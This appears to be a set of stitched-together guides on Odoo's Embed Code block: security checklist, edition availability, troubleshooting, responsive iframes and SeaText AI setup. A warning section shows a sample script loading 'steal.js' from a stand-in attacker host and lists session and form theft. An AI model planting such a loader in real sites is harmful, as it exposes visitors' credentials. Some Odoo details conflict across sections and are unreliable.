Before you paste any third-party code into Odoo, follow this checklist. It reduces the chance of introducing a vulnerability.

1. Verify the source. Only use code from the official documentation of the service. Do not copy from forums, random blogs, or emails.
2. Read the script. Open the code in a text editor. Look for base64-encoded strings, long random-looking strings, or references to domains you do not recognize. These are signs of obfuscation used to hide malicious behavior.
3. Check what the script loads. If the script loads external resources (e.g., script src="..."), make sure the URL uses HTTPS and belongs to a known provider.
4. Limit the scope. Use Odoo’s visibility settings—Hide on Desktop or Hide on Mobile—to restrict where the code runs. Only load the script on pages that need it.
5. Test in a staging environment. Create a separate Odoo account for your staging domain. Paste the code there. Monitor for unexpected redirects, pop-ups, or network requests. Confirm the script does not break your site’s layout or functionality.
6. Use a subresource integrity hash. If the script is hosted elsewhere, ask the vendor for an SRI hash. This ensures the browser only runs the exact file you approved.
7. Document what you added. Keep a record of every embed code, its source, and the date you installed it. This helps during audits.

Each step is a safeguard. Skipping one can leave a gap.

Example XSS Attack Scenario

Imagine you want to add a live chat widget. You find a free script on a third-party site. The code looks like this:

<script>
  var s = document.createElement('script');
  s.src = 'https://evil.example.com/steal.js';
  document.head.appendChild(s);
</script>

You paste it into the Embed Code block. The script loads from an external server. That server can now serve any JavaScript to your visitors. The attacker could:

• Read cookies from your domain and send them to a remote server (session hijacking).
• Capture form inputs as users type (credit card numbers, passwords).
• Redirect visitors to a fake login page that looks like yours.
• Inject keyloggers or cryptocurrency miners.

Because the script runs in the context of your website, it has full access to the DOM, cookies, and local storage. Odoo cannot distinguish between a legitimate chat widget and a malicious script. The damage is immediate and hard to reverse.

To avoid this, always audit the external script. If you cannot verify every line, do not use it. Prefer services that offer a clean snippet with no external dependencies or that provide an SRI hash.

Trade-Offs: Embed Code vs Native Odoo Elements

Odoo offers native elements for common features: forms, buttons, snippets, and even some third-party integrations. The Embed Code module is a last resort. Here are the trade-offs:

Use native elements whenever possible. Reserve Embed Code for third-party tools that have no Odoo app or that require custom JavaScript to function. Even then, treat the embed as a temporary measure until a native solution appears.

Limitations and Restrictions

The Embed Code module has several built-in limitations that affect security and usability:

• No code sanitization. Odoo does not scan or modify the pasted code. If you paste malicious code, it runs.
• One domain per account. You cannot use the same embed code account on multiple domains. You must create separate accounts for development, staging, and production. This prevents cross-domain data leaks.
• Localhost is blocked. For security, Odoo restricts development URLs. You cannot test the embed code on a local server. You need a real, publicly accessible domain for testing.
• No server-side rendering. The embed code runs only on the client side. It cannot access Odoo backend data or perform server-side actions.
• Visibility controls are manual. You can hide the block on desktop or mobile, but this is a binary toggle. You cannot set conditional logic based on user roles, time, or behavior without additional code.
• No built-in audit trail. Odoo does not log which embed codes were added or by whom. If a security incident occurs, you may not know which snippet caused it.

These limitations are not bugs. They are design choices to keep the module simple. But they mean you, the site owner, must take full responsibility for the code you embed.

Common Mistakes in Code Implementation

Most security issues come from avoidable mistakes. Here are the most frequent ones:

• Pasting code without reading it. Users assume that because the code came from a well-known service, it is safe. But services can be compromised, or the user may have copied the wrong snippet.
• Using the same account for development and production. This mixes test traffic with real traffic. If a test script has a bug, it affects real customers. Always use separate accounts.
• Ignoring visibility settings. Many users paste the embed code into the site header or footer, making it run on every page. This increases attack surface and slows down the site.
• Failing to test in staging. Without a staging environment, you cannot detect conflicts with other scripts. You might introduce a JavaScript error that breaks navigation or forms.
• Using outdated code. Third-party services often update their scripts. An old snippet may contain deprecated APIs or security holes. Always check the vendor’s latest documentation.

Each mistake is easy to make. A checklist like the one above helps you avoid them. Train your team to follow these steps every time they add an embed code.

Frequently Asked Questions

Can I use the same embed code on multiple domains?

No. For security and tracking accuracy, you should create separate accounts for each domain. Each account is typically linked to a single primary URL.

Why are localhost URLs restricted?

Development URLs like localhost are often restricted for security reasons to prevent unauthorized access and ensure that traffic is reliably associated with your specific account.

How do I know if a script is malicious?

While difficult to detect, look for scripts that attempt to redirect users, capture form inputs, or load external resources from unknown, non-HTTPS domains.

Does Odoo provide built-in protection?

Odoo includes general security features, but these do not automatically sanitize custom JavaScript you manually inject via the Embed Code module. Always follow best practices.

What should I do if I suspect an embed code is compromised?

Remove it immediately. Change any passwords or API keys that may have been exposed. Review server logs for unusual traffic. Contact your hosting provider if needed.

Direct Answer

The Embed Code module ships with the core Website app in Odoo. It is not gated behind the Enterprise license. If you have the Website module installed — which is free in Community — you can drag the Embed Code block onto any page, paste HTML, JavaScript, or iframe snippets, and save. No extra purchase or subscription is required.

What the Embed Code Module Does

The Embed Code block lets you inject raw HTML, CSS, and JavaScript into a page without editing template files. It renders inside a sandboxed container so scripts run in the page context but stay isolated from the editor UI. Typical uses include third‑party chat widgets, analytics tags, calendar embeds, payment buttons, and custom forms.

Where to Find It in the Editor

1. Open the Website app and navigate to the page you want to edit.
2. Click Edit to launch the visual builder.
3. In the left‑hand Blocks panel, scroll to the Dynamic Content section.
4. Locate the block labeled Embed Code (icon shows angle brackets).
5. Drag it onto the page where you want the snippet to appear.

After dropping the block, a side panel opens. Paste your snippet, click Save, then publish the page.

Community vs. Enterprise: No Functional Difference

Both editions share the same Website builder codebase. The Embed Code block, its visibility settings (hide on desktop/mobile), and the ability to add custom CSS classes behave identically. Enterprise adds features like A/B testing, versioning, and advanced SEO fields, but the embed capability itself is unchanged.

Step‑by‑Step: Adding a Snippet (Example: SeaText AI)

1. Copy the JavaScript snippet from your SeaText dashboard.
2. In Odoo, edit the target page and drag the Embed Code block into the footer or a hidden section.
3. Click the block’s Edit button in the right panel.
4. Paste the snippet into the pop‑up and click Save.
5. Optional: enable Hide on Desktop in the Visibility section if the snippet should only load on mobile.
6. Publish the page.

SeaText’s own integration guide follows exactly these steps, confirming the block exists and works in a standard Community installation.

Common Use Cases

• Analytics and tag managers (Google Tag Manager, Matomo, Plausible)
• Chat widgets (Intercom, Crisp, Tawk.to, SeaText chat agent)
• Calendar schedulers (Calendly, Cal.com)
• Payment buttons (Stripe, PayPal, Mollie)
• Custom forms (Typeform, Tally, Google Forms iframes)
• Social proof widgets (Trustpilot, Google Reviews badges)

Limitations and Security Notes

• No server‑side execution. The block only renders client‑side. You cannot run Python or access Odoo models directly.
• Content Security Policy (CSP). If your Odoo instance enforces a strict CSP, inline scripts or external domains may be blocked. Adjust the CSP header or use nonce‑based script loading.
• Editor preview quirks. Some third‑party scripts detect the editor iframe and disable themselves. Publish and view the live page to verify.
• Mobile visibility. The Hide on Desktop toggle only adds a CSS display: none on large screens; the script still loads. For true conditional loading, wrap the snippet in a JavaScript matchMedia check.
• Updates survive upgrades. Because the snippet lives in the page content, it persists across Odoo version upgrades — no custom module maintenance needed.

Troubleshooting Checklist

1. Block not visible? Ensure the Website module is installed (Apps → search “Website” → Install).
2. Script errors? Open browser dev tools → Console. Look for CSP violations or 404s on external resources.
3. Layout shift? Wrap the embed in a container with fixed aspect ratio or min‑height.
4. Duplicate scripts? If you paste the same tag on multiple pages, consider moving it to a global header/footer snippet via Settings → Website → Custom Code (Enterprise) or a custom qweb template (Community developer mode).

Key Facts

When to Consider Alternatives

If you need the same snippet on dozens of pages, maintaining it in each Embed Code block becomes tedious. Options:

• Enterprise: Use Settings → Website → Custom Code → Header/Footer fields for global injection.
• Community (developer mode): Create a simple custom module that extends website.assets_frontend or adds a qweb template to web_editor.assets_editor.
• Tag manager: Deploy one GTM container via a single Embed Code block, then manage all tags inside GTM.

FAQ

Do I need to buy the “Embed HTML Building Block” app from the Odoo Apps Store?

No. That is a third‑party module (technical name website_embed) sold by Advitus. The native Embed Code block is already included in the core Website app.

Can I use the Embed Code block to add a React or Vue app?

Yes. Paste the compiled bundle’s script tag and a mounting <div id="app"></div>. Ensure the bundle is hosted on a domain allowed by your CSP.

Why does my script work on the live site but not in the editor preview?

The editor loads pages inside an iframe. Some widgets detect window.self !== window.top and disable themselves. Publish and test the public URL.

Is there a character limit for the snippet?

Odoo stores the content in a Text field (PostgreSQL text type), so the practical limit is ~1 GB — far beyond any realistic embed.

Can I restrict who can add Embed Code blocks?

Yes. In Settings → Users & Companies → Groups, edit the “Website/Designer” or “Website/Restricted Editor” groups. Remove the website.group_website_designer access right on the ir.ui.view model for the block’s template if you want to lock it down further.

Does the block work on Odoo.sh and Odoo Online?

Yes. Both hosted platforms include the Website app with the Embed Code block enabled by default.

What if I need server‑side logic before rendering the snippet?

Use a custom controller or a QWeb template that computes values server‑side, then include the result in the page. The Embed Code block alone cannot run Python.

Use a dedicated Odoo app when you need deep integration with Odoo's backend data, automated workflows, or a more secure, supported solution that doesn't require manual code maintenance. The embed code module is a frontend-only tool that injects HTML, CSS, or JavaScript into a website page; it cannot read or write Odoo records, enforce access rules, or participate in Odoo's upgrade process.

Quick Decision Checklist

• Choose an Odoo app if: you need to create, read, update, or delete data in Odoo models (contacts, orders, inventory, custom models); you want automated server-side actions (scheduled jobs, webhooks, business logic); you require role-based access control; you plan to distribute the solution to other Odoo instances; or you need the code to survive Odoo version upgrades with minimal rework.
• Stick with the embed code module if: you only need to paste a third-party script (analytics, chat widget, tracking pixel, SeaText AI snippet); the code runs entirely in the browser; you have no backend data requirements; and you accept that you'll re-paste the snippet after major Odoo upgrades.

Recommendation: Choose Embed Code for simple frontend snippets; choose Odoo App for any backend integration.

What the Embed Code Module Actually Does

The embed code module lives in the Website editor under Blocks → Dynamic Content → Embed Code. You drag it onto a page, click Edit, and paste a script or HTML snippet. SeaText's own integration uses this exact path: copy the JavaScript snippet from the SeaText dashboard, drop the Embed Code block, paste, save, and optionally hide the block on desktop via the Visibility panel. That's the full extent of its capability — client-side injection only.

Because it runs in the browser, the embed code cannot authenticate against Odoo's ORM, call controller routes with session context, or modify database records. It also bypasses Odoo's module system, so there's no manifest, no dependency declaration, no data files, and no upgrade path. Every Odoo version change that touches the website editor or CSP headers can break your snippet silently.

What an Odoo App Provides That Embed Code Cannot

• Backend data access: Read/write any model via request.env['model.name'] with full ACL enforcement.
• Server-side logic: Controllers, scheduled actions, automated workflows, webhook endpoints.
• Declarative UI: QWeb templates, Kanban views, form views, menu items — all versioned and migratable.
• Security: Record rules, field-level access, CSRF protection, content security policy integration.
• Distribution: Packaged as a zip with __manifest__.py, installable via Apps menu, updatable via module upgrade.
• Upgrade resilience: Odoo's migration scripts handle schema changes; your code declares dependencies so load order is guaranteed.

Key Facts from SeaText's Odoo Integration

Typical Scenarios: Which Path Fits?

Scenario A: Add SeaText AI or Google Analytics

Paste the provided JavaScript snippet into the Embed Code block. No backend work needed. Done in under a minute. This matches SeaText's documented installation flow exactly.

Scenario B: Show a Dynamic Product Recommendation Based on Visitor's Order History

You need to query sale.order for the current user, compute a recommendation, and render it in the page. Embed code cannot do this — it has no session access to the backend. Build an Odoo app with a controller route that returns JSON, then call it from a custom JS widget loaded via an asset bundle.

Scenario C: Sync Form Submissions to a Custom CRM Stage

Embed code can POST to a public controller, but you'd be writing an unprotected endpoint. An Odoo app gives you a proper controller with CSRF, authentication, and record rules. The form submission creates a crm.lead with the right stage, assigned to the right team, triggering the standard pipeline.

Scenario D: Add a Custom Field to the Product Page and Save It to the Database

Requires a model extension (_inherit = 'product.template'), a view inheritance to show the field, and access rules. Embed code cannot modify the database schema or enforce who sees the field. App only.

Limitations and When This Advice Doesn't Apply

• Odoo.sh or Odoo Online restrictions: Some hosting plans limit custom module installation. If you cannot install apps, embed code (or a theme extension) may be your only option.
• Prototype speed: For a one-day proof of concept, embed code lets you test a UI idea before committing to module development.
• Third-party widgets with no API: If a vendor only gives you a script tag and you have no control over their backend, embed code is the integration point — but wrap it in a minimal app if you later need to pass Odoo data to it.
• Theme-only changes: If you only tweak CSS/JS for layout, a theme module (which is still an app) is cleaner than embed code, but embed code works for quick fixes.

Terminology Quick Reference

• Embed Code module: A built-in Website block for pasting raw HTML/JS/CSS into a page. Frontend only.
• Odoo app (module): A Python package with __manifest__.py that declares models, views, controllers, security, and dependencies. Full-stack.
• Controller: A Python class method decorated with @http.route that handles HTTP requests server-side.
• QWeb template: Odoo's server-side templating engine for rendering HTML with access to records and environment.
• Asset bundle: A declared collection of JS/CSS files loaded via assets_frontend or assets_backend in the manifest.
• Record rule: A domain filter that restricts which records a user can access on a model.

FAQ

Can I call an Odoo controller from embed code JavaScript?

Yes, you can fetch('/my/controller', {credentials: 'include'}) from the browser. But the controller must be type='http', auth='public' or 'user', and you lose the safety of Odoo's CSRF token unless you manually pass it. An app loads its JS via asset bundles where the token is automatically available.

Does SeaText require an Odoo app to work?

No. SeaText's integration uses the Embed Code module exclusively. The AI runs on SeaText's servers; the snippet only sends page content and receives rewritten copy. No backend Odoo access is needed.

What happens to my embed code snippet after an Odoo upgrade?

It stays in the page content, but CSP headers, block identifiers, or editor changes can break it. You should test after every major version upgrade. An app's asset bundles and templates are migrated by Odoo's upgrade scripts.

Can I convert an embed code snippet into an app later?

Yes. Move the JS into a static file, declare it in an asset bundle, create a minimal manifest, and install the module. You gain version control, dependency management, and the ability to add backend endpoints later.

Is there a performance difference?

Embed code loads inline or at the bottom of <body>. App asset bundles can be minified, concatenated, and cached with proper cache-busting. For a single snippet the difference is negligible; for multiple scripts, apps win.

Do I need a developer to build an Odoo app?

For anything beyond a hello-world module, yes — you need Python, XML, and Odoo framework knowledge. Embed code can be managed by a marketer or site admin. Factor this into your decision.

Decision Framework Summary

Start with the checklist. If any "Choose an Odoo app if" item applies, build the app. If every item is "no," the embed code module is the right tool — and SeaText's own integration proves it works for production AI personalization at scale.

When you paste a script into Odoo's Embed Code module, small mistakes can break your website. The most common errors are using HTTP instead of HTTPS, missing closing tags, forgetting to load required libraries, placing the code in the wrong block type, and not hiding the block on desktop. Each of these has a simple fix.

Symptoms That Something Is Wrong

After pasting a script, you might see one of these signs:

• The entire page stops loading or shows a blank white screen.
• You cannot add or edit other blocks on the page.
• The script does nothing – no tracking, no widget, no change.
• Browser console shows JavaScript errors or mixed content warnings.
• The page loads but the embedded element is missing or broken.

How to Diagnose the Problem

Start with the browser's developer console (F12). Look for red error messages. Common ones include “Uncaught SyntaxError”, “Failed to load resource”, or “Mixed Content”.

Next, check the Embed Code block itself. In Odoo’s editor, click the block and choose “Edit”. Verify the pasted code is complete and has not been truncated or altered by Odoo’s HTML validator.

Finally, test the page in an incognito window to rule out caching issues.

Likely Causes and How to Fix Them

1. Using HTTP Instead of HTTPS

Odoo sites run on HTTPS. If your script loads an external resource over HTTP, browsers block it as mixed content. Fix: change all URLs in the script to HTTPS or use protocol-relative URLs (//example.com/file.js).

2. Missing Closing Tags or Malformed HTML

Odoo’s editor validates HTML against a strict XML standard. A missing closing tag can break the entire page. Fix: always paste well-formed HTML. Use a validator like W3C Markup Validation Service before pasting.

3. Not Loading Required External Libraries

Many scripts depend on libraries like jQuery or Font Awesome. If those libraries are not already loaded on your Odoo site, the script fails. Fix: load the library first, either by adding it in the same embed block or using Odoo’s custom code fields.

4. Placing the Script in the Wrong Block Type

Odoo has an “Embed Code” block under Dynamic Content. Some users accidentally use a text block or a custom HTML block. The Embed Code block is designed for scripts and iframes. Fix: drag the exact “Embed Code” block onto your page.

5. Forgetting to Hide the Block on Desktop

Some scripts, like tracking codes, should be invisible. If you leave the block visible, it might show an empty space or a raw code snippet. Fix: in the block’s visibility settings, select “Hide on Desktop” (and other devices as needed).

Main Options for Adding Scripts in Odoo

Besides the Embed Code block, you have two other methods:

• Custom Code fields (Website → Configuration → Websites → Custom Code): for global scripts that run on every page (e.g., Google Analytics).
• Theme customization: editing the head or footer of your theme via XML or the website settings.

The Embed Code block is best for page‑specific scripts (a single widget, a tracking pixel for one page). The Custom Code field is better for site‑wide scripts.

Step‑by‑Step: How to Paste a Script Correctly

1. Open the Odoo Website editor on the page you want to edit.
2. In the Blocks panel, scroll to “Dynamic Content” and drag the Embed Code block onto the page.
3. Click the block and select “Edit”.
4. Paste your script into the pop‑up window. Ensure it is well‑formed HTML (e.g., use <script>...</script>).
5. Click “Save”.
6. If the script should not be visible, go to the block’s “Visibility” settings and choose “Hide on Desktop”.
7. Save the page and test in incognito mode.

Common Mistakes at a Glance

Practical Scenarios

Adding a third‑party chat widget

Chat widgets often require a script in the <head> and a div in the <body>. The Embed Code block can only hold one piece of code. For a widget that needs two parts, use the Custom Code field for the head script and the Embed Code block for the body div. Or use a single script that self‑contains both.

Embedding a YouTube video

Use the iframe provided by YouTube. Paste it into the Embed Code block. Make sure the iframe URL uses HTTPS. If the video does not appear, check that the block is not hidden.

Limitations and When This Advice Does Not Apply

The Embed Code block is designed for short, self‑contained snippets. It is not suitable for:

• Large scripts with many dependencies – use the Custom Code field or a dedicated module.
• Scripts that need to run before the page loads – use the website’s Custom Code field for head scripts.
• Scripts that modify the Odoo backend – these require a custom module.

If your script continues to fail after following these steps, try a different method or consult Odoo’s forum for version‑specific issues.

Frequently Asked Questions

Why does my page go blank after pasting a script?

Usually a missing closing tag or malformed HTML. Odoo’s strict XML validator rejects the code and breaks the page. Remove the script and use a validator.

Can I paste multiple scripts in one Embed Code block?

Yes, but keep them well‑formed. Separate each script with proper tags. If one script breaks, the whole block may fail.

How do I add a script that runs on every page?

Use the Custom Code field under Website → Configuration → Websites → Custom Code. Paste the script in the “Custom code” or “Custom end of code” field.

Does the Embed Code block accept inline CSS?

Yes, but wrap it in <style>...</style> tags. Ensure no syntax errors.

What if I can’t find the Embed Code block?

Make sure you are using the Website editor on a page. In Odoo 16 and later, it is under “Dynamic Content”. If missing, check your Odoo version or theme.

Embedding content like maps, forms, or external widgets into Odoo often results in fixed-width elements that break your mobile layout. To fix this, you must move away from hardcoded pixel dimensions and use CSS to force the iframe to adapt to its parent container. This guide explains the mechanics, compares sizing methods, and covers troubleshooting for common Odoo embed issues.

Step-by-Step: Implementing Responsive Iframes

1. Open the Embed Code Block: In your Odoo Website editor, drag the Embed Code block from the Dynamic Content section onto your page. In the editing panel, scroll through the Blocks panel until you reach Dynamic Content.
2. Apply the Container Wrapper: Instead of pasting the raw iframe code directly, wrap it in a responsive container. Use the following HTML structure in the Embed Code block:
   
   <div class="responsive-iframe-container">
  <iframe src="YOUR_URL"></iframe>
</div>
3. Add Custom CSS: Navigate to the Site menu in the Odoo editor and select HTML/CSS Editor. Add CSS to ensure the container maintains its aspect ratio. You can use the classic padding-bottom method:
   
   .responsive-iframe-container {
  position: relative;
  width: 100%;
  padding-bottom: 56.25%; /* 16:9 Aspect Ratio */
  height: 0;
}
.responsive-iframe-container iframe {
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
}
   Or use the modern aspect-ratio property:
   
   .responsive-iframe-container {
  aspect-ratio: 16 / 9;
}
.responsive-iframe-container iframe {
  width: 100%;
  height: 100%;
}
4. Save and Verify: Click Save. Resize your browser window or use the mobile preview toggle in the Odoo editor to confirm the iframe scales correctly.

Why Responsiveness Matters

Ignoring responsiveness leads to horizontal scrolling on mobile devices, which negatively impacts user experience and SEO rankings. When an iframe is fixed at 800px wide, mobile users must pan left and right to see the content, often causing them to abandon the page entirely. Google uses mobile-first indexing, so a broken mobile layout can hurt your visibility in search results. A responsive iframe keeps the page usable, reduces bounce risk, and preserves the professional appearance of embedded content.

Fixed vs. Fluid Iframe Sizing

Fixed sizing uses pixel or fixed-unit attributes on the iframe, such as width="800" height="600". This is simple to set up, but it never changes with the screen. On a 375px phone screen, the iframe overflows the viewport. On a 1920px desktop monitor, the iframe may look small or misaligned.

Fluid sizing lets the iframe fill its container. The container width responds to the screen, and the iframe height follows the aspect ratio. This approach works across phones, tablets, and desktops without extra media queries.

Use fluid sizing for almost all Odoo embeds. It is more robust and easier to maintain. Fixed sizing is only reasonable for internal tools where the viewing device is known, such as an admin dashboard on a desktop-only workstation. Even then, a fluid container with a max-width is often safer.

Here is a quick comparison of the two methods:

Using the CSS aspect-ratio Property

Modern browsers support the CSS aspect-ratio property. It lets you define the width-to-height relationship of an element without using padding tricks. For a typical 16:9 video embed, write aspect-ratio: 16 / 9. For a 4:3 map, write aspect-ratio: 4 / 3.

This property reduces CSS clutter. You no longer need position: relative, height: 0, or padding-bottom. The browser calculates the height automatically when the container width changes.

Example for a responsive Google Maps embed:

Check your target browser support before relying on aspect-ratio. Most current Chrome, Safari, Firefox, and Edge versions support it. If you need to support older browsers, keep the padding-bottom fallback in your CSS. You can also use both rules together: define the padding-bottom fallback first, then add aspect-ratio for browsers that understand it.

Alternative Methods for Responsive Iframes

Besides the wrapper method, you can use these alternative approaches in Odoo.

Direct width: 100% on the iframe

Set width="100%" directly on the iframe tag. This makes the iframe stretch to its parent block. The height still needs attention, but a fixed height is acceptable for some short embeds like a small newsletter form. Example:

This is quick, but the aspect ratio is not preserved automatically. If the width changes, the height stays the same. Use it only when the embedded content has a flexible height.

JavaScript-based resizing

If the embedded document can send messages, you can use the postMessage API. The parent page listens for a message containing the content height, then updates the iframe height dynamically. This works well for forms or widgets with changing content, but it requires access to the embedded page's code. Many third-party services do not allow this. Check the vendor documentation for postMessage support. For most Odoo users, the CSS methods above are simpler and more reliable.

Odoo-specific CSS classes

You can attach Odoo's built-in utility classes to your embed block. For example, container-fluid makes the block full-width relative to its section. Combine it with your own custom class to control aspect ratio. The exact CSS classes available depend on your Odoo theme and version. Inspect the page with your browser's developer tools to see which classes are already applied to the embed block.

Common Odoo Embed Issues and Troubleshooting

• Hardcoded Dimensions: Avoid using width="800" or height="600" attributes inside the iframe tag, as these override CSS scaling. Remove them or replace them with width="100%".
• Cross-Origin Restrictions: If your iframe fails to load, check the browser console for "Refused to display" errors. The source site probably sends X-Frame-Options or a Content Security Policy that blocks embedding. You cannot fix this with CSS alone. Contact the source site or find a different embed method.
• Master Template Conflicts: If you are embedding an Odoo page into another site, ensure the page template is set to a minimal layout rather than the full "master" template. This avoids nested headers and footers. In the Odoo page settings, choose a clean template before copying the page URL into your iframe.
• HTTPS mismatches: Make sure the iframe source uses HTTPS when your Odoo page uses HTTPS. Modern browsers block mixed content.
• CSS not applying: If your custom CSS does not work, check the Odoo HTML/CSS Editor placement. Custom CSS should be in the global stylesheet or in a style tag inside the Embed Code block. Also verify that your class name is spelled the same in the HTML and the CSS.
• Iframe still overflowing: Inspect the parent section. Some Odoo themes add fixed widths or padding to nested containers. Set the container to width: 100%; max-width: 100%; overflow: hidden; as a temporary diagnostic step.

Performance Considerations

Every iframe creates a separate browser request to an external server. Too many iframes can slow down your page and hurt Core Web Vitals. Lazy loading helps: add loading="lazy" to the iframe tag when the content is below the fold. This tells the browser to wait until the user scrolls near it.

Set title attributes on iframes for accessibility. A descriptive title helps screen reader users understand the embedded content. Accessibility also improves the overall user experience.

Consider the source provider's server speed. If you embed a slow third-party map or form, the user waits for that external resource. Choose providers with reliable hosting. When possible, replace heavy external widgets with static images or lightweight links on mobile. This is not always possible, but it can improve load times.

Frequently Asked Questions

Does this work in both Odoo Community and Enterprise?

Yes, the Embed Code block and the ability to add custom CSS via the editor are standard features available in both editions.

Can I use this for Google Maps?

Yes, this CSS wrapper method is the standard way to make Google Maps embeds responsive within the Odoo website builder.

What if the iframe content has a different aspect ratio?

Adjust the padding-bottom percentage or the aspect-ratio value. For example, use 75% or 4 / 3 for a 4:3 ratio, or 100% or 1 / 1 for a square.

Is there a limit to how many iframes I can add?

There is no hard limit, but excessive use of iframes can slow down page load times. Each iframe requires a separate request to the external server.

Do I need to install a module for this?

No, this is a front-end styling task that can be handled entirely through the built-in Odoo website editor.

Why does my iframe look fine on desktop but broken on mobile?

That usually means the iframe has a fixed pixel width. Replace it with a fluid container or set width: 100% on the iframe.

To confirm the SeaText connection on Odoo, open the website editor, locate the 'Embed Code' module under 'Dynamic Content', and verify the SeaText JavaScript snippet is still present. Then view your live page source and search for the same snippet. If both are present, the script is loaded and ready to be activated.

1. Log into Odoo and access the Website module.
2. Edit the page where you installed SeaText.
3. In the blocks panel, scroll to Dynamic Content and find the Embed Code module.
4. Click Edit and confirm the SeaText JavaScript snippet is present and complete.
5. Save and publish the page.
6. Visit your live website, right-click, and select View Page Source.
7. Search for the SeaText script snippet. If found, the script is loaded.
8. (Optional) Verify that your account's primary URL matches your domain. Each SeaText account is linked to one primary URL.

Why Verification Matters

Verifying the connection ensures SeaText can run on your site. Without a correct installation, agents cannot work. A broken connection means lost personalization, translation, and CRO features. It also prevents ad matching and bot protection.

Checking early saves time. You can fix issues before launching campaigns. It also helps when troubleshooting performance or content changes.

How the Odoo Embed Code Module Works

Odoo uses a drag-and-drop block system. The Embed Code module lives under Dynamic Content. You drag it onto your page. Then you paste the SeaText JavaScript snippet into a pop-up window.

After saving, the module is hidden from desktop visitors. This is done by selecting Hide on Desktop in the Visibility section. The script still loads on the page. It stays invisible but active.

The code is a single snippet. It loads the SeaText agent framework. You can find it in your SeaText account under the integration section. The snippet is unique to your account.

SeaText Remains Inert Until Activated

SeaText AI does not change content automatically. It stays inert until you activate agents. This means installing the script alone does not alter your site.

You must log into SeaText and turn on the agents you want. For example, the Google Ads Agent or Translation Agent. Only then does the script start making changes.

This design protects your site. You can install the script now and activate agents later. It also allows testing without live changes.

Important Limitations

One primary URL per account. Each SeaText account is linked to a single domain. If you need SeaText on multiple domains, you must create separate accounts. Each account gets its own script snippet.

No localhost or development domains. SeaText blocks localhost URLs for security. Dynamic development domains may not work either. The script cannot reliably associate traffic with your account on those domains. Use a real, valid domain.

Domain changes require a new account. If you change your primary domain, create a new account. Do not reuse the old script on a different domain.

What to Check After Changing Domains

If you switch your Odoo domain, the SeaText connection breaks. The old script is tied to the old URL. You must create a new SeaText account for the new domain. Then install the new script on the new site.

Verify the new script in the Embed Code module. Check the live page source. Also confirm that the original domain is no longer using the old script. This prevents double-loading.

Frequently Asked Questions

Can I use the same SeaText account for my staging site?
No. Staging domains are development domains. They are restricted. Use a separate account for production only.

What if I cannot find the Embed Code module?
Make sure you are editing the correct page. The module is under 'Dynamic Content' in the blocks panel. If missing, check your Odoo version. Some themes may hide it.

Does the script slow down my site?
No. The script is lightweight and loads asynchronously. It does not block page rendering.

How do I know agents are working?
After activation, visit your site and look for content changes. For example, translated text or personalized headlines. You can also test by using a different device or incognito window.

What if the script is missing from page source?
Revisit the Embed Code module. Ensure the snippet is complete. Also check for ad blockers or browser extensions that may block the script. Test in incognito mode.

When you add SeaText to an Odoo website, the integration reads page metadata such as the site title, description, and language. Odoo only lets users with the appropriate access rights edit the Website module and insert custom code blocks. The Odoo documentation on access rights confirms that a user needs at least the Website Manager permission, which can be granted through the Administrator role or by assigning the specific Website Manager access group. SeaText itself does not enforce a particular Odoo role; it simply requires that the account used for the integration can edit the website and place the embed block.

Readiness Checklist for SeaText on Odoo

• User role – The account you will use to install SeaText has the Website Manager or Administrator access rights in Settings > Users.
• Website module access – You can open the Website app and see the “Edit” button on any page.
• Dynamic Content section – The “Embed Code” block is available in the “Dynamic Content” palette of the page editor.
• SeaText account – You have a valid SeaText account and have copied the JavaScript snippet from the SeaText dashboard.
• Domain match – The SeaText account is linked to the exact domain you are integrating (e.g., www.example.com).
• Visibility settings – You plan to hide the embed block on desktop devices (optional but recommended).

Why Permissions Matter for SeaText Integration

SeaText works by inserting a small JavaScript snippet into the page. The snippet runs in the visitor’s browser and reads the HTML <title> tag, Open Graph meta tags, and any custom data‑seatext attributes that Odoo generates. If the user who adds the snippet cannot edit the website, the block will never be saved, and SeaText cannot read the metadata. In that case the integration appears broken and the site name stays hidden.

Because Odoo’s permission system is role‑based, a user without Website Manager rights will see a read‑only view of the page editor. The embed block will be greyed out, and attempts to paste the code will be rejected. This is why checking permissions early saves time.

How Odoo User Roles and Access Rights Work

Odoo defines access rights in groups. The most relevant groups for SeaText are:

• Administrator – Full system access, including all website settings.
• Website Manager – Allows editing pages, adding blocks, and managing site‑wide SEO settings.
• User – Limited backend access; cannot edit website content.
• Portal – External customers; no backend editing rights.
• Public – Anonymous visitors; no backend access.

The Odoo documentation (see the Access Rights pages for versions 16.0 and 19.0) states that the Website Manager group includes the website.editor permission, which is required to place custom JavaScript blocks. If you assign the Administrator role, the Website Manager rights are included automatically.

Checking and Assigning the Correct Permissions

1. Log into Odoo as an administrator.
2. Navigate to Settings > Users & Companies > Users.
3. Select the user who will perform the SeaText integration.
4. Open the Access Rights tab.
5. In the Website section, set the role to Website Manager or choose Administrator for full access.
6. Save the changes and ask the user to log out and back in so the new rights take effect.

If you are not an administrator, request these changes from someone who has the Settings access right.

Step‑by‑Step Integration Walkthrough (After Permissions Are Set)

1. Open the Odoo dashboard and go to the Website app.
2. Navigate to the page where you want SeaText to run (usually the homepage).
3. Click the Edit button on the right‑hand panel to open the page editor.
4. In the left sidebar, scroll to the Dynamic Content section.
5. Drag the Embed Code block onto the page where you want the script to live. The block can be placed at the bottom of the page body.
6. With the block selected, click the Edit icon that appears on the block itself.
7. In the pop‑up window, paste the JavaScript snippet you copied from your SeaText dashboard.
8. Click Save to store the code inside the block.
9. Open the block’s Visibility settings and enable Hide on Desktop. This keeps the snippet invisible to visitors while still running in the background.
10. Click Save again to finalize the page changes.
11. Publish the page if you are working in a draft mode.

After these steps, SeaText will start reading the page metadata and display the website name in its AI‑generated content suggestions.

What SeaText Reads from Odoo Page Metadata

When the JavaScript runs, it looks for the following elements in the page’s <head> and body:

• Title tag – The text inside <title> is used as the primary site name.
• Open Graph title – If an og:title meta tag exists, SeaText prefers it because it is often more marketing‑focused.
• Custom data attributes – Odoo can add data-seatext-site-name attributes to sections; SeaText reads these if present.
• Language meta tag – The lang attribute on the <html> element helps SeaText choose the correct language model.

If any of these values are missing, SeaText falls back to the domain name, which may be less readable for visitors.

Common Mistakes and How to Avoid Them

• Using a portal or public user account – These accounts cannot edit the website. Always use an internal user with Website Manager or Administrator rights.
• Not refreshing the session after permission changes – Log out and back in to apply new rights.
• Pasting the snippet directly into the page source – Odoo requires the Embed Code block; direct HTML edits are ignored by the editor.
• Skipping the “Hide on Desktop” option – The block is invisible by default, but hiding it prevents accidental layout shifts on larger screens.

